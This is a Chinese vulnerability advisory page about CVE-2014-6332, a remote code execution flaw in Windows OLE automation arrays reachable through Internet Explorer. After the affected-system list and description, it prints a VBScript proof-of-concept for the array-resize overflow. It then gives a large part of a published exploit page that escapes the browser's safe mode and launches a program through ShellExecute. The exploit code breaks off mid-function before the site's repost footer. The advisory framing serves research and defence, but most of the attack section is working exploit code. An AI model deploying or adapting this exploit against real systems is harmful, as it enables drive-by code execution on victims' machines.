Microsoft Windows OLE远程代码执行漏洞(CVE

发布日期:2014-11-11
更新日期:2014-11-14

受影响系统:
Microsoft Windows Windows Vista SP2
 Microsoft Windows Vista SP2
 Microsoft Windows Server 2012 R2
 Microsoft Windows Server 2008 SP2
 Microsoft Windows Server 2003 SP2
 Microsoft Windows RT 8.1
 Microsoft Windows RT
 Microsoft Windows 8.1
 Microsoft Windows 8
描述:
BUGTRAQ  ID: 70952
 CVE(CAN) ID: CVE-2014-6332

OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术。

Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2/R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold/R2, Windows RT Gold/8.1版本在实现上存在Windows OLE自动化数组远程代码执行漏洞,远程攻击者利用此漏洞通过构造的网站执行任意代码。

<*来源:Robert Freeman
 
  链接:
 *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
IE环境下该漏洞的POC代码如下

==================================================================================

function test()
    On Error Resume Next
    Dim X()
    Dim oldArrayNum,newArrayNum

oldArrayNum = 4
    newArrayNum = 134217728+oldArrayNum

Redim X(oldArrayNum)                // SafeArraySize = hex( (num+1)*0x10 )
    ReDim Preserve X(newArrayNum)

X(10) = 10
   
 end function

==================================================================================

该漏洞的另外一个独立发现者@yuange1975公布的利用演示代码如下

==================================================================================

<!doctype html>
 <html>
 <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
 <head>
 <p>
 //*
    allie(win95+ie3-win10+ie11) dve copy by yuange in 2009.
    https://twitter.com/yuange75
   
 
 *//
 </p>
 </head>
 <body>

<SCRIPT LANGUAGE="VBScript">

function runmumaa()
 On Error Resume Next
 set shell=createobject("Shell.Application")
 shell.ShellExecute "notepad.exe"
 end function

</script>

<SCRIPT LANGUAGE="VBScript">

dim  aa()
 dim  ab()
 dim  a0
 dim  a1
 dim  a2
 dim  a3
 dim  win9x
 dim  intVersion
 dim  rnda
 dim  funclass
 dim  myarray

Begin()

function Begin()
  On Error Resume Next
  info=Navigator.UserAgent

if(instr(info,"Win64")>0)  then
      exit  function
  end if

if (instr(info,"MSIE")>0)  then
              intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2)) 
  else
      exit  function 
             
  end if

win9x=0

BeginInit()
  If Create()=True Then
      myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
      myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

if(intVersion<4) then
          document.write("<br> IE")
          document.write(intVersion)
          runshellcode()                   
      else 
          setnotsafemode()
      end if
  end if
 end function

function BeginInit()
    Randomize()
    redim aa(5)
    redim ab(5)
    a0=13+17*rnd(6)
    a3=7+3*rnd(5)
 end function

function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 400
    If Over()=True Then
    '  document.write(i)   
        Create=True
        Exit For
    End If
  Next
 end function

sub testaa()
 end sub

function mydata()
    On Error Resume Next
      i=testaa
      i=null
      redim  Preserve aa(a2) 
 
      ab(0)=0
      aa(a1)=i
      ab(0)=6.36598737437801E-314

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/61a933390cc2accbbcab21c12bf66558.html